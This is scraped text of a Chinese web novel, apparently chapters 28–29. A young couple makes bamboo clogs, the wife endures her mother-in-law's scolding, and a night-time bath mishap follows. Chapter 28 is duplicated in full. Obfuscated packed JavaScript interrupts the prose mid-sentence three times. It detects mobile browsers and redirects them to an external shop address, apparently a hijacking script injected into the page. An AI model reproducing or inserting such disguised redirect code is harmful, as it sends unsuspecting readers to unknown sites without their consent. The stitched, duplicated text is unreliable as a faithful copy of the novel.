“去把你的绣花鞋拿一只来。” “拿鞋来干嘛?” 刀莲生有点脸热,垂着眼睫,看似专心地剥着篾片,头也不抬,嘴里说:“叫你拿就拿,问那么多!” 海棠像给突然打了鸡血似的,倏地一下坐直了身体,她咯咯咯地笑起来,“哟,没想到你是这么霸道的一个男人。你娘你妹知道你是这样的人么?” 刀莲生:“……” 28. 第 28 章 刀莲生要给海棠做一双竹木屐。 昨天砍了竹子扛回家,他拿着把锄头和背篼又去了后山一趟,挖了两颗脸盆那么大的竹根回来。 怕大小长短不合适,他昨天砍竹子的时候特意挑的粗竹子砍,那样的话,得到的竹根也会很大。根大,才能得到最平整扎实的板材。 刀莲生从圈棚里搬出竹根,再找出斧头、锯子、刨子、凿子、铁锤等工具出来,最后还打了一盆水。 山里人常年生活在大山里,很少去到外面的世界,有些人可能一生都生活在山里面,一切便得自给自足。是以,家里各种家具和生活器具基本上都是自己打造出来的,这些工具几乎是家家户户的必备生活用品。 就好比他那个简陋的新房,小到一张矮凳,大到一张床,从夯实的地面,到天花板上新铺的阁楼木板,全是他自己亲手弄的。 刀莲生先用斧头将两颗竹根的根须表皮等砍削干净,然后拿海棠的绣花鞋在上面比了个大概尺寸,用蔑刀划线做好标记后,就将竹根搁在矮板凳上,一只脚死死踩住,开始用锯子一下下切割了。 小半个时辰后,两颗脸盆大的竹根,变成了两块十来公分厚的、有他脚巴掌那么大的长方形厚木板。 跟着他用刨刀把当鞋面的那一面推磨光滑。 然后又用海棠的绣花鞋在木板上量度尺寸。 这次他做了细致的比划,长度、宽度、鞋底的弧形,尽量精准。 仍就用蔑刀在板子上刻线做好标记。最后锯子锯掉多余的长宽边角、用蔑刀细腻地削出鞋缘的弧度后,木屐的雏形就出来了。 翻过底部那面来,手掌一卡,在鞋底板上测量出两个履齿之间的大致间隔,蔑刀划上记号。最后用凿子和铁锤一点点凿出两排履齿来,这木屐便差不多做好了。 只是刀莲生要在竹制的木屐上打洞穿线时,海棠却另有想法。 “夫君,你给我在这里,还有这里,给我各打一个洞。我要做成凉鞋,可以一鞋两穿的凉鞋。”她手指在木屐上比划指点。 “夫君”两个字听进耳朵,刀莲生瞄她一眼。 犹记得她第一次这么喊他的时候,那是要赚他回婆家时冲他撒娇道歉来着。第二次这样喊他,那是他在路上把自己的干粮饼子给她吃了。 每次她这么喊他的时候,不是想哄他就是她心情好的时候。其余时候,从来都是“你你”的唤他。 刀莲生照着海棠的想法,在木屐鞋底板左右两边各钻了两个孔,鞋鼻子处再钻一个孔,一共就是五个孔。 “夫君,下面两个履齿你再给我削矮一点,约莫一公分高就可以了。——对,就这样,完美!” 海棠把木屐搁地上,白生生的脚迫不及待地踩上去,木屐的大小和高度都很合适。她开心地冲刀莲生咧嘴一笑,露出一排漂亮洁白的贝齿,比月光还要美。 刀莲生别开眼,把斧头锯子凿子这些都收了起来,用不到了,然后把木屐丢到水盆里先泡着。 木屐倒是做出来了,但是鞋子边缘和鞋底板的地方还粗糙得很,毛刺也多,需要再细细打磨光滑才好看,穿着也才不扎脚。 吃过晌午饭后,又继续。 刀莲生另把磨刀石从牲畜圈里抱了出来,坐矮凳子上,岔开两条大长腿,捉着木屐,开始在倾斜的磨刀石石面上,耐心地把木屐的表面和边缘棱角细细磋磨光滑。 这很是费了一番工夫。 海棠则去屋里把白氏昨晚上搓好的细麻线拿了十几根出来,顺便端了根矮板凳,坐在刀莲生旁边做她的事。 她把麻线分成两份,一份七八根并在一起,手在盆里抓了点水把麻线打湿,然后就学着白氏那样,把线压在膝盖上朝一个方向一径搓,最后搓出来两根长约三十厘米的、比木屐上的孔洞略小的粗麻绳来。 这头木屐打磨光滑了,她早等不及,抢过去,要自己给木屐穿绳。 刀莲生收拾好剩下的工具,磨刀石重新搬到牲畜圈里放好,继续补他的破凉床。 海棠做事的时候很专注,刀莲生这头划篾片补床,不时分心偷看她。 只见她把两根麻绳在两只木屐的几个洞中穿来绕去,都没看清楚她是怎么编织的,麻绳经纬相交后竟编出个网兜来。 她把脚伸进网兜里,木屐踩在地上,网兜留有接头,两根接头拉紧了在她脚脖子后面一束,最后打个活结,木屐就牢牢绑在了脚上。 海棠踩着木屐在院坝里来回走了两趟,那竹根比木头轻巧,她适应了后,走路越发轻松。 又走了个来回,她走过来,开心地冲他咧嘴笑,“我说你这人还怪好的嘛,还给我做鞋。” 刀莲生无语地斜她一眼。 她是他的妻,给她做双鞋怎么了?不是天经地义的吗? 海棠把他那双大木屐扔还给他,穿着新木屐显摆似的在他眼前走来晃去了起码七八趟。 刀莲生越发无语了。 出声提醒:“你这木屐得暴晒几日,把水汽晒干,不然很容易发霉腐坏的。” “哦。”海棠又把他那双大木屐拿回去穿自己脚上,然后拎着自己的那双小木屐,手搭凉棚抬头看了看天色,说:“没太阳。” 刀莲生无话可说地睨她一眼。 还需要这样看天吗?地坝都要被毛毛细雨打湿完了! 他想了想,说:“你先把麻绳拆了,把它们架在火塘上去烤一烤。” “对哦,我怎么没想到?” 海棠提着两只木屐,欢天喜地地去了堂屋。 费了许多工夫,这一整日几乎都给她做这一双木屐了。没了海棠在跟前晃荡分心,刀莲生动作加快,补好了凉床,又把竹围遮也补好了。 事情做完,天已快黑下来,他收拾收拾就去灶屋挑了两只空水桶出门,到后山寨神林里那水潭挑水去了。 海棠一直坐在火塘边烤她那一双木屐。 火旺,木屐里的水汽腾腾的往外直冒青雾。 不觉外面的毛毛雨下大了,夜幕也垂下来。 白氏和两个女儿一身湿漉漉的下地回来了,海棠赶紧把火塘让给婆婆和两个小姑子烤衣服烤头发。 她尤其对白氏殷勤得不行。 先去拿了帕子来给白氏擦拭头发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192232|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雨水,又去灶屋烧了锅热水给婆婆洗脸洗手。茶水是早就煮好了的,这头白氏洗了脸,她一碗热气腾腾的茶汤就捧到白氏手上了。 那热情劲儿,跟家里养的大黄没区别,见着白氏就狂摇尾巴…… 白氏喝茶的功夫,海棠又温柔劝说婆婆把湿衣服换了,免得感冒着凉。 中午的海棠就对白氏不是一般的热情,倒洗脸水,添茶递饭,接背篓接锄头……白氏头一回被人服侍得这么细致,就是自己儿子女儿们些那里,她都没得到过这样的待遇,搞得白氏手脚都有些不知如何安放了。 白桂景是苦惯的人,经受不住这样富贵人家做太太的待遇。她听从劝说要上楼去换衣服,起身往楼上走,然后听到后面脚步声,回头看,海棠还真是跟在自己身后呢,她顿时拉长了老脸道:“你老跟着我做什么?” 海棠嗫嚅:“我,我想帮娘换衣服……” “我这没你的事了,别再围着我转。你多紧着自己的男人才是正经的。” “哦。” “对了,莲生呢?”白桂景环视屋内,嘀咕说:“回来大半天了都没看见他。” 海棠也转着脑袋四下找了找,“他,他好像出去了吧。” “好像?”白氏闻言,登时火冒三丈,“家里就你跟你男人在,你在干什么呀?连你男人去了哪里你都不知道,你就没把你男人放在心上!”嘴里骂着,手指则在海棠额头上连戳了两下。 戳得海棠往后退。 白氏以为刀莲生在家闲待不住,田里去犁田去了,心疼得不行。 才叫他借着新婚之由在家好生休息几日的。 门口张望了好几眼,迟迟不见人回来。一扭头看见海棠杵在自己眼前啥也不干,气得又骂:“你还杵在这里干什么?外面下那大的雨,你还不快去叫你男人回家?非要他干到天黑,浑身都湿透,着凉感冒吗?你都不知道心疼心疼你男人!” 海棠看看外面天色,觉得没必要,说:“娘,他那么大个人了,天黑了他肯定知道自己回家的……” 白桂景气得脸都红了,她一把钳住海棠的胳膊,将她拖过来后就往门外攘,“我叫你出门找,你就去找!” 海棠只得无奈地往外走。 地坝里的泥地已经被雨水泡软了。她下了院坝,才走几步,脚上的木屐上就沾了一脚的黏土,越走越沉。 天上那雨,雨点子不大,但是连片成雾,不一会儿,大辫子上都蒙上了一层雨珠。衣裙也很快有了濡湿的感觉,浑身的冷飕飕的。 海棠回身看看,堂屋外墙上那个竹编斗笠还挂在那里,她忙回身去取了下来戴在头上。 斗笠大,连身子也能遮住。只要雨不飘,就打不到上半身来。 出了院坝,其实她也不知道要去哪儿找,但听白氏的意思是下田去了,那就往山腰那些梯田找去。 梯田层层叠叠往下延伸,没遮挡,视野很开阔。这会子天还没黑透尽,放眼一看能看到一大片,找还是比较好找的,也不会迷路。 不管方向对不对,但是做做样子去找一下,免得回头婆婆那里不好交差。 28. 第 28 章 刀莲生要给海棠做一双竹木屐。 昨天砍了竹子扛回家,他拿着把锄头和背篼又去了后山一趟,挖了两颗脸盆那么大的竹根回来。 怕大小长短不合适,他昨天砍竹子的时候特意挑的粗竹子砍,那样的话,得到的竹根也会很大。根大,才能得到最平整扎实的板材。 刀莲生从圈棚里搬出竹根,再找出斧头、锯子、刨子、凿子、铁锤等工具出来,最后还打了一盆水。 山里人常年生活在大山里,很少去到外面的世界,有些人可能一生都生活在山里面,一切便得自给自足。是以,家里各种家具和生活器具基本上都是自己打造出来的,这些工具几乎是家家户户的必备生活用品。 就好比他那个简陋的新房,小到一张矮凳,大到一张床,从夯实的地面,到天花板上新铺的阁楼木板,全是他自己亲手弄的。 刀莲生先用斧头将两颗竹根的根须表皮等砍削干净,然后拿海棠的绣花鞋在上面比了个大概尺寸,用蔑刀划线做好标记后,就将竹根搁在矮板凳上,一只脚死死踩住,开始用锯子一下下切割了。 小半个时辰后,两颗脸盆大的竹根,变成了两块十来公分厚的、有他脚巴掌那么大的长方形厚木板。 跟着他用刨刀把当鞋面的那一面推磨光滑。 然后又用海棠的绣花鞋在木板上量度尺寸。 这次他做了细致的比划,长度、宽度、鞋底的弧形,尽量精准。 仍就用蔑刀在板子上刻线做好标记。最后锯子锯掉多余的长宽边角、用蔑刀细腻地削出鞋缘的弧度后,木屐的雏形就出来了。 翻过底部那面来,手掌一卡,在鞋底板上测量出两个履齿之间的大致间隔,蔑刀划上记号。最后用凿子和铁锤一点点凿出两排履齿来,这木屐便差不多做好了。 只是刀莲生要在竹制的木屐上打洞穿线时,海棠却另有想法。 “夫君,你给我在这里,还有这里,给我各打一个洞。我要做成凉鞋,可以一鞋两穿的凉鞋。”她手指在木屐上比划指点。 “夫君”两个字听进耳朵,刀莲生瞄她一眼。 犹记得她第一次这么喊他的时候,那是要赚他回婆家时冲他撒娇道歉来着。第二次这样喊他,那是他在路上把自己的干粮饼子给她吃了。 每次她这么喊他的时候,不是想哄他就是她心情好的时候。其余时候,从来都是“你你”的唤他。 刀莲生照着海棠的想法,在木屐鞋底板左右两边各钻了两个孔,鞋鼻子处再钻一个孔,一共就是五个孔。 “夫君,下面两个履齿你再给我削矮一点,约莫一公分高就可以了。——对,就这样,完美!” 海棠把木屐搁地上,白生生的脚迫不及待地踩上去,木屐的大小和高度都很合适。她开心地冲刀莲生咧嘴一笑,露出一排漂亮洁白的贝齿,比月光还要美。 刀莲生别开眼,把斧头锯子凿子这些都收了起来,用不到了,然后把木屐丢到水盆里先泡着。 木屐倒是做出来了,但是鞋子边缘和鞋底板的地方还粗糙得很,毛刺也多,需要再细细打磨光滑才好看,穿着也才不扎脚。 吃过晌午饭后,又继续。 刀莲生另把磨刀石从牲畜圈里抱了出来,坐矮凳子上,岔开两条大长腿,捉着木屐,开始在倾斜的磨刀石石面上,耐心地把木屐的表面和边缘棱角细细磋磨光滑。 这很是费了一番工夫。 海棠则去屋里把白氏昨晚上搓好的细麻线拿了十几根出来,顺便端了根矮板凳,坐在刀莲生旁边做她的事。 她把麻线分成两份,一份七八根并在一起,手在盆里抓了点水把麻线打湿,然后就学着白氏那样,把线压在膝盖上朝一个方向一径搓,最后搓出来两根长约三十厘米的、比木屐上的孔洞略小的粗麻绳来。 这头木屐打磨光滑了,她早等不及,抢过去,要自己给木屐穿绳。 刀莲生收拾好剩下的工具,磨刀石重新搬到牲畜圈里放好,继续补他的破凉床。 海棠做事的时候很专注,刀莲生这头划篾片补床,不时分心偷看她。 只见她把两根麻绳在两只木屐的几个洞中穿来绕去,都没看清楚她是怎么编织的,麻绳经纬相交后竟编出个网兜来。 她把脚伸进网兜里,木屐踩在地上,网兜留有接头,两根接头拉紧了在她脚脖子后面一束,最后打个活结,木屐就牢牢绑在了脚上。 海棠踩着木屐在院坝里来回走了两趟,那竹根比木头轻巧,她适应了后,走路越发轻松。 又走了个来回,她走过来,开心地冲他咧嘴笑,“我说你这人还怪好的嘛,还给我做鞋。” 刀莲生无语地斜她一眼。 她是他的妻,给她做双鞋怎么了?不是天经地义的吗? 海棠把他那双大木屐扔还给他,穿着新木屐显摆似的在他眼前走来晃去了起码七八趟。 刀莲生越发无语了。 出声提醒:“你这木屐得暴晒几日,把水汽晒干,不然很容易发霉腐坏的。” “哦。”海棠又把他那双大木屐拿回去穿自己脚上,然后拎着自己的那双小木屐,手搭凉棚抬头看了看天色,说:“没太阳。” 刀莲生无话可说地睨她一眼。 还需要这样看天吗?地坝都要被毛毛细雨打湿完了! 他想了想,说:“你先把麻绳拆了,把它们架在火塘上去烤一烤。” “对哦,我怎么没想到?” 海棠提着两只木屐,欢天喜地地去了堂屋。 费了许多工夫,这一整日几乎都给她做这一双木屐了。没了海棠在跟前晃荡分心,刀莲生动作加快,补好了凉床,又把竹围遮也补好了。 事情做完,天已快黑下来,他收拾收拾就去灶屋挑了两只空水桶出门,到后山寨神林里那水潭挑水去了。 海棠一直坐在火塘边烤她那一双木屐。 火旺,木屐里的水汽腾腾的往外直冒青雾。 不觉外面的毛毛雨下大了,夜幕也垂下来。 白氏和两个女儿一身湿漉漉的下地回来了,海棠赶紧把火塘让给婆婆和两个小姑子烤衣服烤头发。 她尤其对白氏殷勤得不行。 先去拿了帕子来给白氏擦拭头发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192232|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雨水,又去灶屋烧了锅热水给婆婆洗脸洗手。茶水是早就煮好了的,这头白氏洗了脸,她一碗热气腾腾的茶汤就捧到白氏手上了。 那热情劲儿,跟家里养的大黄没区别,见着白氏就狂摇尾巴…… 白氏喝茶的功夫,海棠又温柔劝说婆婆把湿衣服换了,免得感冒着凉。 中午的海棠就对白氏不是一般的热情,倒洗脸水,添茶递饭,接背篓接锄头……白氏头一回被人服侍得这么细致,就是自己儿子女儿们些那里,她都没得到过这样的待遇,搞得白氏手脚都有些不知如何安放了。 白桂景是苦惯的人,经受不住这样富贵人家做太太的待遇。她听从劝说要上楼去换衣服,起身往楼上走,然后听到后面脚步声,回头看,海棠还真是跟在自己身后呢,她顿时拉长了老脸道:“你老跟着我做什么?” 海棠嗫嚅:“我,我想帮娘换衣服……” “我这没你的事了,别再围着我转。你多紧着自己的男人才是正经的。” “哦。” “对了,莲生呢?”白桂景环视屋内,嘀咕说:“回来大半天了都没看见他。” 海棠也转着脑袋四下找了找,“他,他好像出去了吧。” “好像?”白氏闻言,登时火冒三丈,“家里就你跟你男人在,你在干什么呀?连你男人去了哪里你都不知道,你就没把你男人放在心上!”嘴里骂着,手指则在海棠额头上连戳了两下。 戳得海棠往后退。 白氏以为刀莲生在家闲待不住,田里去犁田去了,心疼得不行。 才叫他借着新婚之由在家好生休息几日的。 门口张望了好几眼,迟迟不见人回来。一扭头看见海棠杵在自己眼前啥也不干,气得又骂:“你还杵在这里干什么?外面下那大的雨,你还不快去叫你男人回家?非要他干到天黑,浑身都湿透,着凉感冒吗?你都不知道心疼心疼你男人!” 海棠看看外面天色,觉得没必要,说:“娘,他那么大个人了,天黑了他肯定知道自己回家的……” 白桂景气得脸都红了,她一把钳住海棠的胳膊,将她拖过来后就往门外攘,“我叫你出门找,你就去找!” 海棠只得无奈地往外走。 地坝里的泥地已经被雨水泡软了。她下了院坝,才走几步,脚上的木屐上就沾了一脚的黏土,越走越沉。 天上那雨,雨点子不大,但是连片成雾,不一会儿,大辫子上都蒙上了一层雨珠。衣裙也很快有了濡湿的感觉,浑身的冷飕飕的。 海棠回身看看,堂屋外墙上那个竹编斗笠还挂在那里,她忙回身去取了下来戴在头上。 斗笠大,连身子也能遮住。只要雨不飘,就打不到上半身来。 出了院坝,其实她也不知道要去哪儿找,但听白氏的意思是下田去了,那就往山腰那些梯田找去。 梯田层层叠叠往下延伸,没遮挡,视野很开阔。这会子天还没黑透尽,放眼一看能看到一大片,找还是比较好找的,也不会迷路。 不管方向对不对,但是做做样子去找一下,免得回头婆婆那里不好交差。 29. 第 29 章 海棠寻了七八条田坎,上下那十来块水田里都没找到刀莲生人。 远处目之所及的水田里,也都没人了。 天快黑尽了,田地里干活儿的山里人都在往家赶。 再不回去,她待会儿会连路都看不清楚了。 海棠一手捉着斗笠边沿,一手提着裙摆,踩着木屐,小心翼翼地走在田坎上往山腰上面的刀家回去。 那双新木屐早给稀泥巴糊得看不到脚趾头了,鞋底沾上的泥巴又黏又沉,感觉是拖着五斤沙包在行路。但她不愿光着脚,一来走不惯,二来心疼自己一双玉足,怕给石子草刺刮出口子。 爬了一条田坎,再爬一条,田坎路变得又窄又陡。她费力地抬起一只脚踩在一个坑窝处,要抬另一只脚时,突然前脚一个打滑,她扑在地上,田坎狭窄,她半边身子都歪进了旁边的水田里。 海棠啊啊惊叫了两声,手忙脚乱地在空中乱抓,试图要抓着点什么东西来稳住身体,头上的斗笠就这么飘落到了田里去。 好在只是水田,不是水潭。 她个子高,有一米六五,没有章法地扑腾了几下,发现站起身来后,田里那淤泥深度只到她膝盖头那么高。 刚才那番扑腾便就像个笑话似的。 海棠看看自己半身衣裙都给泥水糊得没眼看,泥水哗啦啦地往下滴落,欲哭无泪。 但此时不是哭的时候,快要看不清楚道路了。 打湿的衣裙湿沉地包裹在身体上,很不舒服。 她先探身把飘在水田里的斗笠捡起来扔上田坎,深陷在淤泥里的木屐也脱掉,徒手在淤泥里摸来摸去,把鞋拔了出来,浑浊的泥水里荡几下,洗干净鞋上的稀泥巴也扔到上面田坎上去,最后双手撑着田坎费了老大工夫爬了上来。 弯腰把下身裙子拧干泥水,木屐重新套在脚上绑扎好。 斗笠上糊上了稀泥巴,还在滴水,自然没法戴了,但反正她一身都打湿了,干脆也不戴了。斗笠抓在手里,就这么顶着一头湿发,裹着半身打湿的衣裙,狼狈地深一脚浅一脚,赶在伸手不见五指之前摸黑回到了刀家,却不敢进屋,躲在灶屋外墙背后。 白桂景和两个女儿正在灶屋用热水洗脸洗脚,三个人的言谈中,海棠得知刀莲生竟然还没有回家。 她就更不敢现身了。 婆婆喊她出去找人,人没找到,她此刻出现,只会挨骂。 即便是个现代人,海棠对白氏也是真的从心底怵她。可能是在现代她还从没有遇到过头一回见面就抄着大扫叉打她的老婆婆。这才真的是,一来就给她了个下马威,真把她吓住了。 当然,也许可能,还因为这是刀莲生的母亲,是她婆婆,有这层关系在,心里不自觉是存着几分敬畏的。 过了一阵,白氏三个人洗漱完,倒掉洗脚水,就一个二个趿拉着木屐去了堂屋。 灶屋的油灯吹熄了,一团漆黑、清冷。 海棠大惑不解。 难道她们已经吃了晚饭了?? 饥饿的驱使下,海棠摸黑摸进灶屋,揭开锅盖,探手在铁锅里捞了捞,还真是啥也没捞着。没有早上那种倒扣的筲箕上热着米粥和窝窝头。 海棠气苦。 这到底要惩罚她到几时啊! 媳妇茶也敬了,她今天也表现得很乖啊。难不成就因为刀莲生没回家,她开头不愿意出去找他,婆婆就把她记恨上了??? 不,他们家一定是把晚饭藏在一个她找不到的地方了。因为刀莲生还没回来嘛,不给她吃晚饭,婆婆总不能不给她儿子吃饭吧! 海棠去门口探头探脑瞧了瞧堂屋。 堂屋大门微微敞着,里面明明灭灭透出火塘里的火光。 婆婆和两个小姑子估计又在搓麻线了。 海棠不死心,干脆摸到火镰把油灯点着,然后端着油灯把橱柜、鼎锅、石案下面的坛坛罐罐都翻找了一番,就连灶膛里的灰堆,她都拿夹火钳里一顿掏。然而,灶屋里所有能藏东西的地方都翻遍了,没吃的,真的没吃的。 海棠差点破大防了。 越想越是憋屈。 这婆家还没娘家好呢! 娘家爹虽不喜欢她,至少表现在脸上,会打她会骂她,这家人直接玩冷暴力那一套! 而且娘家至少还有个疼自己的娘! 她这步棋走得大大的错了! 看来这个婆家比娘家更不靠谱,还是尽快把这个世界了解了后赶紧想法子离开这鬼地方吧! 那男人也是,天都黑了还不落屋,搞什么鬼名堂! 水缸里舀了盆水,轻手轻脚地把手脚洗干净,衣裙也简单搓洗了下。这一身肯定得换了。半身都湿了。但是没把男人找回家,海棠连堂屋都不敢去。 想到刀莲生,海棠渐渐开始担忧,外头野地里已经是不见五指了,囫囵还是出去就近找找他。 海棠便端着油灯,用手笼着黄豆大小的灯火要出门去找刀莲生。 哪想才转过身,刀莲生竟就一身风雨地闯进来了,肩上挑着两只空水桶。 四目相对,微弱的火光在两个人脸上晃悠,海棠看他身上披着蓑衣,打破沉默:“外面还在下雨?” 刀莲生放下水桶和扁担,再抬手解开肩膀上的麻绳系带,把蓑衣取了下来挂在泥墙的木钉子上,嗯了声,算是回应。 好嘛,她出去找他摔进水田里,还被婆婆骂得不敢去堂屋,只能躲在灶屋里头。她受了一肚子委屈,他这态度却这样冷淡,海棠心里鬼火直蹿。 更觉委屈了。 一个人的时候还坚强,面对这让自己受委屈的罪过祸首,她就忍不住了,眼睛发红,鼻子发酸,目中已经泪光盈盈。 她努力瞪大眼不让眼泪流出来,质问男人道:“你去哪儿了?做什么现在才回?” 刀莲生没主意到她的异样,自顾自打了盆水,搁在门口地上,蹲下去捧着就往脸上冲洗。一盆水洗了脸洗了手,还冲洗了下他糊了一脚泥的光脚,嘴里说:“招满叔闪了腰,家里没水吃了,我去给他家帮忙担了一缸子水。” “哦。”海棠没想到人家原来是去做好事去了,气就消了一大半。充满怨念地瞅瞅男人宽阔的脊背,低低地道:“你出门也不跟我说一声,害我被娘好一顿骂。” 她说这话时,刀莲生正好拿着空盆站起身来,闻言,听出来她说话带着浓重的鼻音,就看了眼她,眸光微闪,“我下次记得。” 海棠垮着肩膀绕过刀莲生去堂屋了。 她要去换身干爽的衣服。 湿衣服穿在身上半天了,好难受。 刀莲生没错过她眼中的泪光,追上来,“哎!你……你怎么了?” 海棠提着裙子小跑着跨进堂屋。 她能说婆婆又没给她晚饭吃,她又饿又委屈吗?真是丢脸死了。 从来没有为了一口饭这么憋屈过! 白氏见她进来,立刻站起身来厉色问道:“莲生呢?” “回来了。在灶屋洗脸。”然后钻进卧房里去了。 一进屋,那憋屈的泪水终于止不住地往下流。 海棠捂住嘴,任由泪水肆意流淌,无声地站在黑暗里。 刀莲生本已洗漱完毕,见海棠有异样,忙忙撩起衣摆把脸上水渍擦拭掉,吹灭了灶屋的油灯,大步朝堂屋来。 白氏听到外头动静,走到门口张望:“是莲生吗?” “是我,娘。” 刀莲生踏上两步石阶,一身湿气地跨进门槛来。 白桂景忙把两个女儿赶上楼去睡觉,把火塘让给刀莲生烤衣服。 “你怎的现在才回?” 又递上一杯热气腾腾的酽茶。 刀莲生捧着茶碗,眼睛余光瞟着那道布帘子,又把之前对海棠说过的那番话对他娘也讲了一回,“山上挑水,遇到了招满婶儿也在背水。得知招满叔闪了腰,暂时没法做重活儿,我就给婶儿她家挑了几担水回去。叔和婶儿非要留我吃几口茶,我就坐了会儿,才回得迟了。” 海棠在屋内一字一句都听见了。 之后白氏和刀莲生就随便聊了下招满叔的情况,然后白氏就上楼睡觉去了。 白氏竟是全程都没说让刀莲生去灶屋吃晚饭的事情,海棠便想,估计刀莲生在招满叔家吃过了,不是他才说那边叔和婶儿留他吃东西么? 海棠暗叹口气,今晚必定又是要饿肚子了。 哎,只当减肥吧。不就两个晚上不吃东西吗?现代那些减肥方法之一,就是建议不吃晚饭嘛,纯饿瘦来着。 黑暗里海棠捏了捏拳头给自己打气。 明天,一定要争取吃到晚饭! 山里人晚上没娱乐活动,天黑了,洗漱完了,围着火塘再坐一坐,便就入屋睡觉了。 白氏上楼了之后,外面堂屋的光还亮了好一会儿,海棠听见刀莲生在轻轻走动的脚步声,估计他在铺他的床。 海棠摸黑脱了湿衣服,扔在凳子上。 也不用换干净的了,直接爬上床,扯了铺盖盖在身子上睡觉。 只是啊,这饿着肚子,湿衣服又穿了半天,身上冰冰凉凉的,压根儿就睡不着。 后半夜,雨歇云散,月亮竟然出来了。 海棠从窗洞看月亮的位置,判断大概是晚上九十点钟的样子,因为月亮远还没有升到头顶上方。 她在现代可是夜猫子,不到凌晨十二点,是不会放下手机闭眼睡觉的。 楼板上面听不到说话声脚步声咳嗽声了。外面火塘里的明火也灭了,海棠还没把自己的床铺睡热火。 哎,不行,看来得去洗个热水澡才行。 海棠溜下床,屋里没灯,但是她的衣服都在那个包袱皮里。海棠于是把湿衣服胡乱往身上一裹,摸到衣柜门打开,把自己那包袱抱在胸前,然后出了卧房,悄悄拉开堂屋门钻了出去,借着月光,她去了灶屋。 海棠不知道,她的行为,没有躲过刀莲生的眼。 那会儿在灶屋他就察觉到了她的异样,进了堂屋他就一直想找机会问问她怎么了,但是她进了卧房就一直没出来。 他等了一阵,看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210076|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会再出来了,才灭了火塘里的明火,躺上了凉床。 可是他睡不着。 海棠那双含着眼泪的眼,他一闭眼就出现在他脑海里,搅得他有些烦躁。 辗转到了半夜,突然听见房门声,倏地张开眼。 便见敞开的堂屋门口,海棠抱着个包袱猫腰悄悄地钻了出去,月光随之被关在了门外。 刀莲生张了张嘴,终究是没有喊出声。 她要走,就走吧。 他早就知道他这个家是留不住她的。 刀莲生再也睡不着觉了,他翻身坐起来,在床沿坐了半天,一种莫名的情绪萦绕在他胸腔里,他胸口闷滞得不行,干脆起身,打开堂屋门到外面去呼吸一口清新的空气。 外面,月华温柔,像在大地上洒了一层碎银。地坝、竹林、茅草屋,还有远处的梯田,都好像在闪闪发光。 左手边的牲畜棚里,一点幽火,土墙上一团晃动的影子。 刀莲生脑子里警铃大作。 难不成有人偷他家的老牛?? 他左右看看,然后抄起靠墙的一把锄头便大踏步往那边去。 海棠烧了一大锅洗澡水,烧得烫呼呼的。然后自己嘿哧嘿哧地提到圈棚里。 这个热水澡洗得她胆战心惊。 牲畜圈里因为堆了很多柴草,成了老鼠窝。就此会儿,海棠听见那堆在墙根的柴禾堆里好像有老鼠在打架、乱蹿,吱吱的惨叫,此起彼伏,肆无忌惮的。 不,很可能不是打架,是蛇在吃老鼠哩! 昨天她帮刀莲生搬农具,看见柴堆里好大一堆蛇皮。就那张蛇皮的长度和宽度而言,只怕活蛇能有她手臂粗。 这么一想,她吓得头皮发麻,浑身汗毛直竖。 快速脱了衣裙,洗脸帕也忘了拿,只好用自己的肚兜当帕子,伸进水桶里随便搅了搅,然后海棠便半蹲在木桶边,用打湿的肚兜飞速擦洗身子。 忽觉得身后异样安静。 她猫着腰扭头看去,只见五六步远处立着个高大的身影,惊得海棠把水桶都抱了起来挡在胸前,颤声问:“谁?!” “是我。”平板的语气,没有起伏。 海棠听出来是刀莲生的声音,皱眉,“你不出声不出气地站那干嘛?偷看我洗澡啊?真不要脸!” 刀莲生沉默了片刻,说:“我才来,什么都没看见……再说里面这么暗……”想了下,他又说:“我以为你出来上茅厕,但你出门半天不回,我才出来看看的。”说罢转身走了。 走到一半,听到后面嘭的一声闷响,好像有什么砸地上了。 想起她刚才好像把水桶抱了起来,刀莲生嘴角抽搐了下。 估计她抱不动了,水桶落地上了。 但是隐约有海棠的惨呼传来。 刀莲生就那个纠结啊,要不要回头去看看她怎么样了?万一水桶砸到她脚上了呢? 但想到她对他的戒备,他硬着心肠抬脚往石阶上踏。 就这时,海棠的呻唤传来,“夫君,夫君。” 刀莲生只觉得浑身一紧。 他忙回身,紧走几步,到了牲畜圈门口,整个人呆住了。 只见海棠仰躺在圈棚门口,身上啥也没穿。迷离的月光下,她那玲珑的身子泛着灼目的白色光芒。 刀莲生闭上了眼睛,耳听见她在哀哀的痛苦呻吟着,“我屁股摔得好痛,这地是石头做的,痛死我了。我起不来了。” 刀莲生深吸口气,弯腰将她一把打横抱了起来,大踏步往堂屋疾走,撩开布帘子,将她搁在床上,掀被子给她盖上,转身就走。一气呵成。 